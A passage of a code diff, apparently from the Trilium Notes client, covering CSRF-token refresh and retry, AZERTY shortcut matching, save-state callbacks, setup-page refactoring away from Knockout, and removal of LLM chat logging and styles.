+    if (status !== 403) {
+        return false;
+    }
+    try {
+        const body = JSON.parse(responseText);
+        return body.message === "Invalid CSRF token";
+    } catch {
+        return false;
+    }
+}
+
 interface CallOptions {
     data?: unknown;
     silentNotFound?: boolean;
+    silentInternalServerError?: boolean;
     // If `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
     raw?: boolean;
+    /** Used internally to prevent infinite retry loops on CSRF refresh. */
+    csrfRetried?: boolean;
 }
 
 async function call<T>(method: string, url: string, componentId?: string, options: CallOptions = {}) {
@@ -143,7 +203,7 @@ async function call<T>(method: string, url: string, componentId?: string, option
             });
         })) as any;
     } else {
-        resp = await ajax(url, method, data, headers, !!options.silentNotFound, options.raw);
+        resp = await ajax(url, method, data, headers, options);
     }
 
     const maxEntityChangeIdStr = resp.headers["trilium-max-entity-change-id"];
@@ -155,17 +215,14 @@ async function call<T>(method: string, url: string, componentId?: string, option
     return resp.body as T;
 }
 
-/**
- * @param raw if `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
- */
-function ajax(url: string, method: string, data: unknown, headers: Headers, silentNotFound: boolean, raw?: boolean): Promise<Response> {
+function ajax(url: string, method: string, data: unknown, headers: Headers, opts: CallOptions): Promise<Response> {
     return new Promise((res, rej) => {
         const options: JQueryAjaxSettings = {
             url: window.glob.baseApiUrl + url,
             type: method,
             headers,
             timeout: 60000,
-            success: (body, textStatus, jqXhr) => {
+            success: (body, _textStatus, jqXhr) => {
                 const respHeaders: Headers = {};
 
                 jqXhr
@@ -190,17 +247,41 @@ function ajax(url: string, method: string, data: unknown, headers: Headers, sile
                     // don't report requests that are rejected by the browser, usually when the user is refreshing or going to a different page.
                     rej("rejected by browser");
                     return;
-                } else if (silentNotFound && jqXhr.status === 404) {
+                }
+
+                // If the CSRF token is stale (e.g. session expired while tab was backgrounded),
+                // refresh it and retry the request once.
+                if (!opts.csrfRetried && isCsrfError(jqXhr.status, jqXhr.responseText)) {
+                    try {
+                        await refreshCsrfToken();
+                        // Rebuild headers so the fresh glob.csrfToken is picked up
+                        const retryHeaders = await getHeaders({ "trilium-component-id": headers["trilium-component-id"] });
+                        const retryResult = await ajax(url, method, data, retryHeaders, { ...opts, csrfRetried: true });
+                        res(retryResult);
+                        return;
+                    } catch (retryErr) {
+                        rej(retryErr);
+                        return;
+                    }
+                }
+
+                if (opts.silentNotFound && jqXhr.status === 404) {
+                    // report nothing
+                } else if (opts.silentInternalServerError && jqXhr.status === 500) {
                     // report nothing
                 } else {
-                    await reportError(method, url, jqXhr.status, jqXhr.responseText);
+                    try {
+                        await reportError(method, url, jqXhr.status, jqXhr.responseText);
+                    } catch {
+                        // reportError may throw (e.g. ValidationError); ensure rej() is still called below.
+                    }
                 }
 
                 rej(jqXhr.responseText);
             }
         };
 
-        if (raw) {
+        if (opts.raw) {
             options.dataType = "text";
         }
 
@@ -299,6 +380,7 @@ export default {
     get,
     getWithSilentNotFound,
     post,
+    postWithSilentInternalServerError,
     put,
     patch,
     remove,

apps/client/src/services/shortcuts.spec.ts

@@ -1,5 +1,6 @@
-import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
-import shortcuts, { keyMatches, matchesShortcut, isIMEComposing } from "./shortcuts.js";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import shortcuts, { isIMEComposing, keyMatches, matchesShortcut } from "./shortcuts.js";
 
 // Mock utils module
 vi.mock("./utils.js", () => ({
@@ -61,9 +62,10 @@ describe("shortcuts", () => {
     });
 
     describe("keyMatches", () => {
-        const createKeyboardEvent = (key: string, code?: string) => ({
+        const createKeyboardEvent = (key: string, code?: string, extraProps: Partial<KeyboardEvent> = {}) => ({
             key,
-            code: code || `Key${key.toUpperCase()}`
+            code: code || `Key${key.toUpperCase()}`,
+            ...extraProps
         } as KeyboardEvent);
 
         it("should match regular letter keys using key code", () => {
@@ -101,17 +103,23 @@ describe("shortcuts", () => {
             consoleSpy.mockRestore();
         });
 
+        it("should match azerty keys", () => {
+            const event = createKeyboardEvent("A", "KeyQ");
+            expect(keyMatches(event, "a")).toBe(true);
+            expect(keyMatches(event, "q")).toBe(false);
+        });
+
         it("should match letter keys using code when key is a special character (macOS Alt behavior)", () => {
             // On macOS, pressing Option/Alt + A produces 'å' as the key, but code is still 'KeyA'
-            const macOSAltAEvent = createKeyboardEvent("å", "KeyA");
+            const macOSAltAEvent = createKeyboardEvent("å", "KeyA", { altKey: true });
             expect(keyMatches(macOSAltAEvent, "a")).toBe(true);
 
             // Option + H produces '˙'
-            const macOSAltHEvent = createKeyboardEvent("˙", "KeyH");
+            const macOSAltHEvent = createKeyboardEvent("˙", "KeyH", { altKey: true });
             expect(keyMatches(macOSAltHEvent, "h")).toBe(true);
 
             // Option + S produces 'ß'
-            const macOSAltSEvent = createKeyboardEvent("ß", "KeyS");
+            const macOSAltSEvent = createKeyboardEvent("ß", "KeyS", { altKey: true });
             expect(keyMatches(macOSAltSEvent, "s")).toBe(true);
         });
     });
@@ -215,6 +223,15 @@ describe("shortcuts", () => {
             consoleSpy.mockRestore();
         });
 
+        it("matches azerty", () => {
+            const event = createKeyboardEvent({
+                key: "a",
+                code: "KeyQ",
+                ctrlKey: true
+            });
+            expect(matchesShortcut(event, "Ctrl+A")).toBe(true);
+        });
+
         it("should match Alt+letter shortcuts on macOS where key is a special character", () => {
             // On macOS, pressing Option/Alt + A produces 'å' but code remains 'KeyA'
             const macOSAltAEvent = createKeyboardEvent({

apps/client/src/services/shortcuts.ts

@@ -215,9 +215,12 @@ export function keyMatches(e: KeyboardEvent, key: string): boolean {
     // For letter keys, use the physical key code for consistency
     // On macOS, Option/Alt key produces special characters, so we must use e.code
     if (key.length === 1 && key >= 'a' && key <= 'z') {
-        // e.code is like "KeyA", "KeyB", etc.
-        const expectedCode = `Key${key.toUpperCase()}`;
-        return e.code === expectedCode || e.key.toLowerCase() === key.toLowerCase();
+        if (e.altKey) {
+            // e.code is like "KeyA", "KeyB", etc.
+            const expectedCode = `Key${key.toUpperCase()}`;
+            return e.code === expectedCode || e.key.toLowerCase() === key.toLowerCase();
+        }
+        return e.key.toLowerCase() === key.toLowerCase();
     }
 
     // For regular keys, check both key and code as fallback

apps/client/src/services/spaced_update.ts

@@ -12,6 +12,7 @@ export default class SpacedUpdate {
     private updateInterval: number;
     private changeForbidden?: boolean;
     private stateCallback?: StateCallback;
+    private lastState: SaveState = "saved";
 
     constructor(updater: Callback, updateInterval = 1000, stateCallback?: StateCallback) {
         this.updater = updater;
@@ -24,7 +25,7 @@ export default class SpacedUpdate {
     scheduleUpdate() {
         if (!this.changeForbidden) {
             this.changed = true;
-            this.stateCallback?.("unsaved");
+            this.onStateChanged("unsaved");
             setTimeout(() => this.triggerUpdate());
         }
     }
@@ -34,12 +35,12 @@ export default class SpacedUpdate {
             this.changed = false; // optimistic...
 
             try {
-                this.stateCallback?.("saving");
+                this.onStateChanged("saving");
                 await this.updater();
-                this.stateCallback?.("saved");
+                this.onStateChanged("saved");
             } catch (e) {
                 this.changed = true;
-                this.stateCallback?.("error");
+                this.onStateChanged("error");
                 logError(getErrorMessage(e));
                 throw e;
             }
@@ -76,13 +77,13 @@ export default class SpacedUpdate {
         }
 
         if (Date.now() - this.lastUpdated > this.updateInterval) {
-            this.stateCallback?.("saving");
+            this.onStateChanged("saving");
             try {
                 await this.updater();
-                this.stateCallback?.("saved");
+                this.onStateChanged("saved");
                 this.changed = false;
             } catch (e) {
-                this.stateCallback?.("error");
+                this.onStateChanged("error");
                 logError(getErrorMessage(e));
             }
             this.lastUpdated = Date.now();
@@ -92,6 +93,13 @@ export default class SpacedUpdate {
         }
     }
 
+    onStateChanged(state: SaveState) {
+        if (state === this.lastState) return;
+
+        this.stateCallback?.(state);
+        this.lastState = state;
+    }
+
     async allowUpdateWithoutChange(callback: Callback) {
         this.changeForbidden = true;
 

apps/client/src/services/syntax_highlight.ts

@@ -1,10 +1,11 @@
-import { ensureMimeTypes, highlight, highlightAuto, loadTheme, Themes, type AutoHighlightResult, type HighlightResult, type Theme } from "@triliumnext/highlightjs";
+import { MimeType } from "@triliumnext/commons";
+import { type AutoHighlightResult, ensureMimeTypes, highlight, highlightAuto, type HighlightResult, loadTheme, type Theme,Themes } from "@triliumnext/highlightjs";
+
+import { copyText, copyTextWithToast } from "./clipboard_ext.js";
+import { t } from "./i18n.js";
 import mime_types from "./mime_types.js";
 import options from "./options.js";
-import { t } from "./i18n.js";
-import { copyText, copyTextWithToast } from "./clipboard_ext.js";
 import { isShare } from "./utils.js";
-import { MimeType } from "@triliumnext/commons";
 
 let highlightingLoaded = false;
 
@@ -76,13 +77,15 @@ export async function applySingleBlockSyntaxHighlight($codeBlock: JQuery<HTMLEle
 }
 
 export async function ensureMimeTypesForHighlighting(mimeTypeHint?: string) {
-    if (highlightingLoaded) {
+    if (!mimeTypeHint && highlightingLoaded) {
         return;
     }
 
     // Load theme.
-    const currentThemeName = String(options.get("codeBlockTheme"));
-    await loadHighlightingTheme(currentThemeName);
+    if (!highlightingLoaded) {
+        const currentThemeName = String(options.get("codeBlockTheme"));
+        await loadHighlightingTheme(currentThemeName);
+    }
 
     // Load mime types.
     let mimeTypes: MimeType[];
@@ -94,7 +97,7 @@ export async function ensureMimeTypesForHighlighting(mimeTypeHint?: string) {
                 enabled: true,
                 mime: mimeTypeHint.replace("-", "/")
             }
-        ]
+        ];
     } else {
         mimeTypes = mime_types.getMimeTypes();
     }
@@ -124,9 +127,9 @@ export function isSyntaxHighlightEnabled() {
     if (!isShare) {
         const theme = options.get("codeBlockTheme");
         return !!theme && theme !== "none";
-    } else {
-        return true;
     }
+    return true;
+
 }
 
 /**

apps/client/src/services/utils.ts

@@ -14,7 +14,9 @@ export function reloadFrontendApp(reason?: string) {
     }
 
     if (isElectron()) {
-        dynamicRequire("@electron/remote").BrowserWindow.getFocusedWindow()?.reload();
+        for (const window of dynamicRequire("@electron/remote").BrowserWindow.getAllWindows()) {
+            window.reload();
+        }
     } else {
         window.location.reload();
     }
@@ -920,6 +922,7 @@ export default {
     parseDate,
     formatDateISO,
     formatDateTime,
+    formatTime,
     formatTimeInterval,
     formatSize,
     localNowDateTime,

apps/client/src/services/ws.ts

@@ -133,49 +133,6 @@ async function handleMessage(event: MessageEvent<any>) {
         appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
     } else if (message.type === "toast") {
         toastService.showMessage(message.message);
-    } else if (message.type === "llm-stream") {
-        // ENHANCED LOGGING FOR DEBUGGING
-        console.log(`[WS-CLIENT] >>> RECEIVED LLM STREAM MESSAGE <<<`);
-        console.log(`[WS-CLIENT] Message details: sessionId=${message.sessionId}, hasContent=${!!message.content}, contentLength=${message.content ? message.content.length : 0}, hasThinking=${!!message.thinking}, hasToolExecution=${!!message.toolExecution}, isDone=${!!message.done}`);
-
-        if (message.content) {
-            console.log(`[WS-CLIENT] CONTENT PREVIEW: "${message.content.substring(0, 50)}..."`);
-        }
-
-        // Create the event with detailed logging
-        console.log(`[WS-CLIENT] Creating CustomEvent 'llm-stream-message'`);
-        const llmStreamEvent = new CustomEvent('llm-stream-message', { detail: message });
-
-        // Dispatch to multiple targets to ensure delivery
-        try {
-            console.log(`[WS-CLIENT] Dispatching event to window`);
-            window.dispatchEvent(llmStreamEvent);
-            console.log(`[WS-CLIENT] Event dispatched to window`);
-
-            // Also try document for completeness
-            console.log(`[WS-CLIENT] Dispatching event to document`);
-            document.dispatchEvent(new CustomEvent('llm-stream-message', { detail: message }));
-            console.log(`[WS-CLIENT] Event dispatched to document`);
-        } catch (err) {
-            console.error(`[WS-CLIENT] Error dispatching event:`, err);
-        }
-
-        // Debug current listeners (though we can't directly check for specific event listeners)
-        console.log(`[WS-CLIENT] Active event listeners should receive this message now`);
-
-        // Detailed logging based on message type
-        if (message.content) {
-            console.log(`[WS-CLIENT] Content message: ${message.content.length} chars`);
-        } else if (message.thinking) {
-            console.log(`[WS-CLIENT] Thinking update: "${message.thinking}"`);
-        } else if (message.toolExecution) {
-            console.log(`[WS-CLIENT] Tool execution: action=${message.toolExecution.action}, tool=${message.toolExecution.tool || 'unknown'}`);
-            if (message.toolExecution.result) {
-                console.log(`[WS-CLIENT] Tool result preview: "${String(message.toolExecution.result).substring(0, 50)}..."`);
-            }
-        } else if (message.done) {
-            console.log(`[WS-CLIENT] Completion signal received`);
-        }
     } else if (message.type === "execute-script") {
         // TODO: Remove after porting the file
         // @ts-ignore

apps/client/src/setup.ts

@@ -1,66 +1,107 @@
 import "jquery";
+
 import utils from "./services/utils.js";
-import ko from "knockout";
 
-// TriliumNextTODO: properly make use of below types
-// type SetupModelSetupType = "new-document" | "sync-from-desktop" | "sync-from-server" | "";
-// type SetupModelStep = "sync-in-progress" | "setup-type" | "new-document-in-progress" | "sync-from-desktop";
+type SetupStep = "sync-in-progress" | "setup-type" | "new-document-in-progress" | "sync-from-desktop" | "sync-from-server";
+type SetupType = "new-document" | "sync-from-desktop" | "sync-from-server" | "";
 
-class SetupModel {
-    syncInProgress: boolean;
-    step: ko.Observable<string>;
-    setupType: ko.Observable<string>;
-    setupNewDocument: ko.Observable<boolean>;
-    setupSyncFromDesktop: ko.Observable<boolean>;
-    setupSyncFromServer: ko.Observable<boolean>;
-    syncServerHost: ko.Observable<string | undefined>;
-    syncProxy: ko.Observable<string | undefined>;
-    password: ko.Observable<string | undefined>;
+class SetupController {
+    private step: SetupStep;
+    private setupType: SetupType = "";
+    private syncPollIntervalId: number | null = null;
+    private rootNode: HTMLElement;
+    private setupTypeForm: HTMLFormElement;
+    private syncFromServerForm: HTMLFormElement;
+    private setupTypeNextButton: HTMLButtonElement;
+    private setupTypeInputs: HTMLInputElement[];
+    private syncServerHostInput: HTMLInputElement;
+    private syncProxyInput: HTMLInputElement;
+    private passwordInput: HTMLInputElement;
+    private sections: Record<SetupStep, HTMLElement>;
 
-    constructor(syncInProgress: boolean) {
-        this.syncInProgress = syncInProgress;
-        this.step = ko.observable(syncInProgress ? "sync-in-progress" : "setup-type");
-        this.setupType = ko.observable("");
-        this.setupNewDocument = ko.observable(false);
-        this.setupSyncFromDesktop = ko.observable(false);
-        this.setupSyncFromServer = ko.observable(false);
-        this.syncServerHost = ko.observable();
-        this.syncProxy = ko.observable();
-        this.password = ko.observable();
+    constructor(rootNode: HTMLElement, syncInProgress: boolean) {
+        this.rootNode = rootNode;
+        this.step = syncInProgress ? "sync-in-progress" : "setup-type";
+        this.setupTypeForm = mustGetElement("setup-type-form", HTMLFormElement);
+        this.syncFromServerForm = mustGetElement("sync-from-server-form", HTMLFormElement);
+        this.setupTypeNextButton = mustGetElement("setup-type-next", HTMLButtonElement);
+        this.setupTypeInputs = Array.from(document.querySelectorAll<HTMLInputElement>("input[name='setup-type']"));
+        this.syncServerHostInput = mustGetElement("sync-server-host", HTMLInputElement);
+        this.syncProxyInput = mustGetElement("sync-proxy", HTMLInputElement);
+        this.passwordInput = mustGetElement("password", HTMLInputElement);
+        this.sections = {
+            "setup-type": mustGetElement("setup-type-section", HTMLElement),
+            "new-document-in-progress": mustGetElement("new-document-in-progress-section", HTMLElement),
+            "sync-from-desktop": mustGetElement("sync-from-desktop-section", HTMLElement),
+            "sync-from-server": mustGetElement("sync-from-server-section", HTMLElement),
+            "sync-in-progress": mustGetElement("sync-in-progress-section", HTMLElement)
+        };
+    }
 
-        if (this.syncInProgress) {
-            setInterval(checkOutstandingSyncs, 1000);
+    init() {
+        this.setupTypeForm.addEventListener("submit", (event) => {
+            event.preventDefault();
+            void this.selectSetupType();
+        });
+
+        this.syncFromServerForm.addEventListener("submit", (event) => {
+            event.preventDefault();
+            void this.finish();
+        });
+
+        for (const input of this.setupTypeInputs) {
+            input.addEventListener("change", () => {
+                this.setupType = input.value as SetupType;
+                this.render();
+            });
         }
+
+        for (const backButton of document.querySelectorAll<HTMLElement>("[data-action='back']")) {
+            backButton.addEventListener("click", () => {
+                this.back();
+            });
+        }
+
         const serverAddress = `${location.protocol}//${location.host}`;
         $("#current-host").html(serverAddress);
+
+        if (this.step === "sync-in-progress") {
+            this.startSyncPolling();
+        }
+
+        this.render();
+        this.rootNode.style.display = "";
     }
 
-    // this is called in setup.ejs
-    setupTypeSelected() {
-        return !!this.setupType();
-    }
+    private async selectSetupType() {
+        if (this.setupType === "new-document") {
+            this.setStep("new-document-in-progress");
 
-    selectSetupType() {
-        if (this.setupType() === "new-document") {
-            this.step("new-document-in-progress");
+            await $.post("api/setup/new-document");
+            window.location.replace("./setup");
+            return;
+        }
 
-            $.post("api/setup/new-document").then(() => {
-                window.location.replace("./setup");
-            });
-        } else {
-            this.step(this.setupType());
+        if (this.setupType) {
+            this.setStep(this.setupType);
         }
     }
 
-    back() {
-        this.step("setup-type");
-        this.setupType("");
+    private back() {
+        this.setStep("setup-type");
+        this.setupType = "";
+
+        for (const input of this.setupTypeInputs) {
+            input.checked = false;
+        }
+
+        this.render();
     }
 
-    async finish() {
-        const syncServerHost = this.syncServerHost();
-        const syncProxy = this.syncProxy();
-        const password = this.password();
+    private async finish() {
+        const syncServerHost = this.syncServerHostInput.value.trim();
+        const syncProxy = this.syncProxyInput.value.trim();
+        const password = this.passwordInput.value;
 
         if (!syncServerHost) {
             showAlert("Trilium server address can't be empty");
@@ -74,21 +115,44 @@ class SetupModel {
 
         // not using server.js because it loads too many dependencies
         const resp = await $.post("api/setup/sync-from-server", {
-            syncServerHost: syncServerHost,
-            syncProxy: syncProxy,
-            password: password
+            syncServerHost,
+            syncProxy,
+            password
         });
 
         if (resp.result === "success") {
-            this.step("sync-in-progress");
-
-            setInterval(checkOutstandingSyncs, 1000);
-
             hideAlert();
+            this.setStep("sync-in-progress");
+            this.startSyncPolling();
         } else {
             showAlert(`Sync setup failed: ${resp.error}`);
         }
     }
+
+    private setStep(step: SetupStep) {
+        this.step = step;
+        this.render();
+    }
+
+    private render() {
+        for (const [step, section] of Object.entries(this.sections) as [SetupStep, HTMLElement][]) {
+            section.style.display = step === this.step ? "" : "none";
+        }
+
+        this.setupTypeNextButton.disabled = !this.setupType;
+    }
+
+    private getSelectedSetupType(): SetupType {
+        return (this.setupTypeInputs.find((input) => input.checked)?.value ?? "") as SetupType;
+    }
+
+    private startSyncPolling() {
+        if (this.syncPollIntervalId !== null) {
+            return;
+        }
+
+        this.syncPollIntervalId = window.setInterval(checkOutstandingSyncs, 1000);
+    }
 }
 
 async function checkOutstandingSyncs() {
@@ -122,7 +186,19 @@ function getSyncInProgress() {
     return !!parseInt(el.content);
 }
 
+function mustGetElement<T extends typeof HTMLElement>(id: string, ctor: T): InstanceType<T> {
+    const element = document.getElementById(id);
+
+    if (!element || !(element instanceof ctor)) {
+        throw new Error(`Expected element #${id}`);
+    }
+
+    return element as InstanceType<T>;
+}
+
 addEventListener("DOMContentLoaded", (event) => {
-    ko.applyBindings(new SetupModel(getSyncInProgress()), document.getElementById("setup-dialog"));
-    $("#setup-dialog").show();
+    const rootNode = document.getElementById("setup-dialog");
+    if (!rootNode || !(rootNode instanceof HTMLElement)) return;
+
+    new SetupController(rootNode, getSyncInProgress()).init();
 });

apps/client/src/stylesheets/llm_chat.css

@@ -1,450 +0,0 @@
-/* LLM Chat Panel Styles */
-.note-context-chat {
-    background-color: var(--main-background-color);
-}
-
-/* Message Styling */
-.chat-message {
-    margin-bottom: 1rem;
-}
-
-.message-avatar {
-    width: 36px;
-    height: 36px;
-    border-radius: 50%;
-    font-size: 1.25rem;
-    flex-shrink: 0;
-}
-
-.user-avatar {
-    background-color: var(--input-background-color);
-    color: var(--cmd-button-icon-color);
-}
-
-.assistant-avatar {
-    background-color: var(--subtle-border-color, var(--main-border-color));
-    color: var(--hover-item-text-color);
-}
-
-.message-content {
-    max-width: calc(100% - 50px);
-    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
-    color: var(--main-text-color);
-}
-
-.user-content {
-    border-radius: 0.5rem 0.5rem 0 0.5rem !important;
-    background-color: var(--input-background-color) !important;
-}
-
-.assistant-content {
-    border-radius: 0.5rem 0.5rem 0.5rem 0 !important;
-    background-color: var(--main-background-color);
-    border: 1px solid var(--subtle-border-color, var(--main-border-color));
-}
-
-/* Tool Execution Styling */
-.tool-execution-info {
-    margin-top: 0.75rem;
-    margin-bottom: 1.5rem;
-    border: 1px solid var(--subtle-border-color);
-    border-radius: 0.5rem;
-    overflow: hidden;
-    box-shadow: 0 1px 4px rgba(0, 0, 0, 0.05);
-    background-color: var(--main-background-color);
-    /* Add a subtle transition effect */
-    transition: all 0.2s ease-in-out;
-}
-
-.tool-execution-status {
-    background-color: var(--accented-background-color, rgba(0, 0, 0, 0.03)) !important;
-    border-radius: 0 !important;
-    padding: 0.5rem !important;
-    max-height: 250px !important;
-    overflow-y: auto;
-}
-
-.tool-execution-status .d-flex {
-    border-bottom: 1px solid var(--subtle-border-color);
-    padding-bottom: 0.5rem;
-    margin-bottom: 0.5rem;
-}
-
-.tool-step {
-    padding: 0.5rem;
-    margin-bottom: 0.75rem;
-    border-radius: 0.375rem;
-    background-color: var(--main-background-color);
-    border: 1px solid var(--subtle-border-color);
-    transition: background-color 0.2s ease;
-}
-
-.tool-step:hover {
-    background-color: rgba(0, 0, 0, 0.01);
-}
-
-.tool-step:last-child {
-    margin-bottom: 0;
-}
-
-/* Tool step specific styling */
-.tool-step.executing {
-    background-color: rgba(0, 123, 255, 0.05);
-    border-color: rgba(0, 123, 255, 0.2);
-}
-
-.tool-step.result {
-    background-color: rgba(40, 167, 69, 0.05);
-    border-color: rgba(40, 167, 69, 0.2);
-}
-
-.tool-step.error {
-    background-color: rgba(220, 53, 69, 0.05);
-    border-color: rgba(220, 53, 69, 0.2);
-}
-
-/* Tool result formatting */
-.tool-result pre {
-    margin: 0.5rem 0;
-    padding: 0.5rem;
-    background-color: rgba(0, 0, 0, 0.03);
-    border-radius: 0.25rem;
-    overflow: auto;
-    max-height: 300px;
-}
-
-.tool-result code {
-    font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, monospace;
-    font-size: 0.9em;
-}
-
-.tool-args code {
-    display: block;
-    padding: 0.5rem;
-    background-color: rgba(0, 0, 0, 0.03);
-    border-radius: 0.25rem;
-    margin-top: 0.25rem;
-    font-size: 0.85em;
-    color: var(--muted-text-color);
-    white-space: pre-wrap;
-    overflow: auto;
-    max-height: 100px;
-}
-
-/* Tool Execution in Chat Styling */
-.chat-tool-execution {
-    padding: 0 0 0 36px; /* Aligned with message content, accounting for avatar width */
-    width: 100%;
-    margin-bottom: 1rem;
-}
-
-.tool-execution-container {
-    background-color: var(--accented-background-color, rgba(245, 247, 250, 0.7));
-    border: 1px solid var(--subtle-border-color);
-    border-radius: 0.375rem;
-    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);
-    overflow: hidden;
-    max-width: calc(100% - 20px);
-    transition: all 0.3s ease;
-}
-
-.tool-execution-container.collapsed {
-    display: none;
-}
-
-.tool-execution-header {
-    background-color: var(--main-background-color);
-    border-bottom: 1px solid var(--subtle-border-color);
-    margin-bottom: 0.5rem;
-    color: var(--muted-text-color);
-    font-weight: 500;
-    padding: 0.6rem 0.8rem;
-    cursor: pointer;
-    transition: background-color 0.2s ease;
-}
-
-.tool-execution-header:hover {
-    background-color: var(--hover-item-background-color, rgba(0, 0, 0, 0.03));
-}
-
-.tool-execution-toggle {
-    color: var(--muted-text-color) !important;
-    background: transparent !important;
-    padding: 0.2rem 0.4rem !important;
-    transition: transform 0.2s ease;
-}
-
-.tool-execution-toggle:hover {
-    color: var(--main-text-color) !important;
-}
-
-.tool-execution-toggle i.bx-chevron-down {
-    transform: rotate(0deg);
-    transition: transform 0.3s ease;
-}
-
-.tool-execution-toggle i.bx-chevron-right {
-    transform: rotate(-90deg);
-    transition: transform 0.3s ease;
-}
-
-.tool-execution-chat-steps {
-    padding: 0.5rem;
-    max-height: 300px;
-    overflow-y: auto;
-}
-
-/* Make error text more visible */
-.text-danger {
-    color: #dc3545 !important;
-}
-
-/* Sources Styling */
-.sources-container {
-    background-color: var(--accented-background-color, var(--main-background-color));
-    border-top: 1px solid var(--main-border-color);
-    color: var(--main-text-color);
-}
-
-.source-item {
-    transition: all 0.2s ease;
-    background-color: var(--main-background-color);
-    border-color: var(--subtle-border-color, var(--main-border-color)) !important;
-}
-
-.source-item:hover {
-    background-color: var(--link-hover-background, var(--hover-item-background-color));
-}
-
-.source-link {
-    color: var(--link-color, var(--hover-item-text-color));
-    text-decoration: none;
-    display: block;
-    width: 100%;
-}
-
-.source-link:hover {
-    color: var(--link-hover-color, var(--hover-item-text-color));
-}
-
-/* Input Area Styling */
-.note-context-chat-form {
-    background-color: var(--main-background-color);
-    border-top: 1px solid var(--main-border-color);
-}
-
-.context-option-container {
-    padding: 0.5rem 0;
-    border-bottom: 1px solid var(--subtle-border-color, var(--main-border-color));
-    color: var(--main-text-color);
-}
-
-.chat-input-container {
-    padding-top: 0.5rem;
-}
-
-.note-context-chat-input {
-    border-color: var(--subtle-border-color, var(--main-border-color));
-    background-color: var(--input-background-color) !important;
-    color: var(--input-text-color) !important;
-    resize: none;
-    transition: all 0.2s ease;
-    min-height: 50px;
-    max-height: 150px;
-}
-
-.note-context-chat-input:focus {
-    border-color: var(--input-focus-outline-color, var(--main-border-color));
-    box-shadow: 0 0 0 0.25rem var(--input-focus-outline-color, rgba(13, 110, 253, 0.25));
-}
-
-.note-context-chat-send-button {
-    width: 40px;
-    height: 40px;
-    align-self: flex-end;
-    background-color: var(--cmd-button-background-color) !important;
-    color: var(--cmd-button-text-color) !important;
-}
-
-/* Loading Indicator */
-.loading-indicator {
-    align-items: center;
-    justify-content: center;
-    padding: 1rem;
-    color: var(--muted-text-color);
-}
-
-/* Thinking display styles */
-.llm-thinking-container {
-    margin: 1rem 0;
-    animation: fadeInUp 0.3s ease-out;
-}
-
-.thinking-bubble {
-    background-color: var(--accented-background-color, var(--main-background-color));
-    border: 1px solid var(--subtle-border-color, var(--main-border-color));
-    border-radius: 0.75rem;
-    padding: 0.75rem;
-    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
-    position: relative;
-    overflow: hidden;
-    transition: all 0.2s ease;
-}
-
-.thinking-bubble:hover {
-    box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08);
-}
-
-.thinking-bubble::before {
-    content: '';
-    position: absolute;
-    top: 0;
-    inset-inline-start: -100%;
-    width: 100%;
-    height: 100%;
-    background: linear-gradient(90deg, transparent, var(--hover-item-background-color, rgba(0, 0, 0, 0.03)), transparent);
-    animation: shimmer 2s infinite;
-    opacity: 0.5;
-}
-
-.thinking-header {
-    cursor: pointer;
-    transition: all 0.2s ease;
-    border-radius: 0.375rem;
-}
-
-.thinking-header:hover {
-    background-color: var(--hover-item-background-color, rgba(0, 0, 0, 0.03));
-    padding: 0.25rem;
-    margin: -0.25rem;
-}
-
-.thinking-dots {
-    display: flex;
-    gap: 3px;
-    align-items: center;
-}
-
-.thinking-dots span {
-    width: 6px;
-    height: 6px;
-    background-color: var(--link-color, var(--hover-item-text-color));
-    border-radius: 50%;
-    animation: thinkingPulse 1.4s infinite ease-in-out;
-}
-
-.thinking-dots span:nth-child(1) {
-    animation-delay: -0.32s;
-}
-
-.thinking-dots span:nth-child(2) {
-    animation-delay: -0.16s;
-}
-
-.thinking-dots span:nth-child(3) {
-    animation-delay: 0s;
-}
-
-.thinking-label {
-    font-weight: 500;
-    color: var(--link-color, var(--hover-item-text-color)) !important;
-}
-
-.thinking-toggle {
-    color: var(--muted-text-color) !important;
-    transition: transform 0.2s ease;
-    background: transparent !important;
-    border: none !important;
-}
-
-.thinking-toggle:hover {
-    color: var(--main-text-color) !important;
-}
-
-.thinking-toggle.expanded {
-    transform: rotate(180deg);
-}
-
-.thinking-content {
-    margin-top: 0.75rem;
-    padding-top: 0.75rem;
-    border-top: 1px solid var(--subtle-border-color, var(--main-border-color));
-    animation: expandDown 0.3s ease-out;
-}
-
-.thinking-text {
-    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
-    font-size: 0.875rem;
-    line-height: 1.5;
-    color: var(--main-text-color);
-    white-space: pre-wrap;
-    word-wrap: break-word;
-    background-color: var(--input-background-color);
-    padding: 0.75rem;
-    border-radius: 0.5rem;
-    border: 1px solid var(--subtle-border-color, var(--main-border-color));
-    max-height: 300px;
-    overflow-y: auto;
-    transition: border-color 0.2s ease;
-}
-
-.thinking-text:hover {
-    border-color: var(--main-border-color);
-}
-
-/* Animations */
-@keyframes thinkingPulse {
-    0%, 80%, 100% {
-        transform: scale(0.8);
-        opacity: 0.6;
-    }
-    40% {
-        transform: scale(1);
-        opacity: 1;
-    }
-}
-
-@keyframes shimmer {
-    0% {
-        inset-inline-start: -100%;
-    }
-    100% {
-        inset-inline-start: 100%;
-    }
-}
-
-@keyframes fadeInUp {
-    from {
-        opacity: 0;
-        transform: translateY(10px);
-    }
-    to {
-        opacity: 1;
-        transform: translateY(0);
-    }
-}
-
-@keyframes expandDown {
-    from {
-        opacity: 0;
-        max-height: 0;
-    }
-    to {
-        opacity: 1;
-        max-height: 300px;
-    }
-}
-
-/* Responsive adjustments */
-@media (max-width: 768px) {
-    .thinking-bubble {
-        margin: 0.5rem 0;
-        padding: 0.5rem;
-    }
-    
-    .thinking-text {
-        font-size: 0.8rem;
-        padding: 0.5rem;
-        max-height: 200px;
-    }
-} 

apps/client/src/stylesheets/style.css

@@ -28,7 +28,7 @@
     --bs-body-color: var(--main-text-color) !important;
     --bs-body-bg: var(--main-background-color) !important;
     --ck-mention-list-max-height: 500px;
-    --tn-modal-max-height: 90vh;
+    --tn-modal-max-height: 90svh;
 
     --tree-item-light-theme-max-color-lightness: 50;
